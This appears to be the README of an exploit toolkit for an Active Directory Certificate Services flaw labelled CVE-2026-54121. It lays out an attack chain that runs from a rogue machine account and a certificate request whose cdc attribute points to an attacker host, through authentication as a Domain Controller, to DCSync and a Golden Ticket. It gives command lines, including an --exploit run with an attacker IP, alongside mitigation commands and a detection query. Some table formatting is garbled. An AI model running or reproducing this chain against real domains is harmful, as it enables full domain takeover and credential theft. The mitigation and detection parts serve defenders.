
Exploit toolkit for AD CS CVE-2026-54121: low-privileged domain users impersonate a Domain Controller, forge certificates, and compromise the domain via DCSync/Golden Ticket.
CertiGhost is a critical vulnerability (CVSS 8.8) in Active Directory Certificate Services (AD CS) that allows a low-privileged domain user to impersonate a Domain Controller and achieve full domain compromise.
The AD CS "chase" fallback mechanism allows a requester to supply cdc (Client DC) and rmd (Remote Domain) attributes in a certificate request. The CA follows the cdc target to resolve identity data without validating it's a legitimate Domain Controller.
Attack Chain:
ms-DS-MachineAccountQuota)cdc pointing to attacker hostkrbtgt hash → Golden Ticket → Full domain compromise| Document | Content |
|---|---|
| USAGE.md | Detailed usage guide with step-by-step instructions |
| DIAGRAM.md | Structure diagrams and attack flow visualization |
Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 Stage 6
LDAP Disc. → Machine Acct → Rogue Svc → Cert Request → PKINIT Auth → DCSync
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
Find DC/CA SAMR create LDAP :389 cdc+rmd attr TGT as DC01$ krbtgt hash
+ SID/DN DESKTOP-XX$ SMB :445 → CA chases → KDC accepts → Golden
+ SPNs relay attacker host cert as DC Ticket
See DIAGRAM.md for full architecture diagrams.
pip install -r requirements.txt
# Unauthenticated scan
python ad_detect.py
# Authenticated scan (recommended)
python ad_detect.py -u DOMAIN\\username -p 'Password123'
# With specific DC
python ad_detect.py -u DOMAIN\\user -p 'pass' --dc-ip 10.x.x.x
python certighost_test.py -d example.com --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' \
--dc-ip 10.0.0.10 --attacker-ip 10.0.0.99 --exploit
ms-DS-MachineAccountQuota valueEDITF_ENABLECHASECLIENTDC flagms-DS-MachineAccountQuota > 0 (default: 10)# Apply July 2026 Security Update on all CA servers
# Temporary mitigation - disable chase fallback
certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC
Restart-Service CertSvc -Force
ms-DS-MachineAccountQuota to 0ENROLLEE_SUPPLIES_SUBJECT from templatescdc/rmd attributesPer the Microsoft Threat Protection blog, deploy the following advanced hunting query:
// Detect CertiGhost certificate requests with cdc/rmd attributes
let CertSvcEvents = DeviceEvents
| where ActionType == "CertSvcRequestSubmitted"
| extend RequestAttributes = parse_json(AdditionalFields).RequestAttributes
| where RequestAttributes has "cdc" or RequestAttributes has "rmd";
CertSvcEvents
| project Timestamp, DeviceName, InitiatingProcessAccountName, RequestAttributes
| File | Purpose |
|---|
certighost_exploit.py | Full exploit chain implementation |
certighost_test.py | Detection + exploit toolkit with CLI |
ad_detect.py | Quick targeted detection scan |
test_exploit.py | Unit tests for all exploit components (55 tests) |
requirements.txt | Python dependencies |